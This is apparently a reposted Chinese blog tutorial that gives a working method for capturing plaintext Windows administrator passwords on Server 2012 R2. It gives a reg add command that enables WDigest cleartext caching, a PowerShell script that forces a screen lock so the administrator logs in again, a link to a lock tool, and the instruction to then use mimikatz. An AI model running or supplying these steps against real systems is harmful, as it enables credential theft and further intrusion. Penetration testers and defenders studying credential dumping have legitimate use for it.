Windows 2012R2 Hash读取

一、前言

在默认情况下,当系统为Windows 10或Windows 2012 R2以上时,默认在内存缓存中禁止保存明文密码,如下图,密码字段显示为null,此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。

二、抓取明文Hash

抓取明文流程

修改命令修改注册表 -> 强制锁屏 -> 等待目标系统管理员重新登录 -> 截取明文密码

修改命令:

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

通过修改注册表来让Wdigest Auth保存明文口令

恢复原样(渗透完之后):

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

使用强制锁屏ps1脚本(只适用于win服务器版本,win10测试不通过):

Function Lock-WorkStation {

$signature = @"

[DllImport("user32.dll", SetLastError = true)]

public static extern bool LockWorkStation();

"@

$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru

$LockWorkStation::LockWorkStation() | Out-Null

}

Lock-WorkStation

执行: powershell -file lock-screen.ps1 锁屏,让管理员进行登录

通用锁屏

https://github.com/Scholar-City/Intranet-penetration-assistance/blob/main/LockDesktop.zip

再用mimikatz读取hash这个时候就是明文了。

原文地址:https://www.cnblogs.com/miruier/p/15368581.html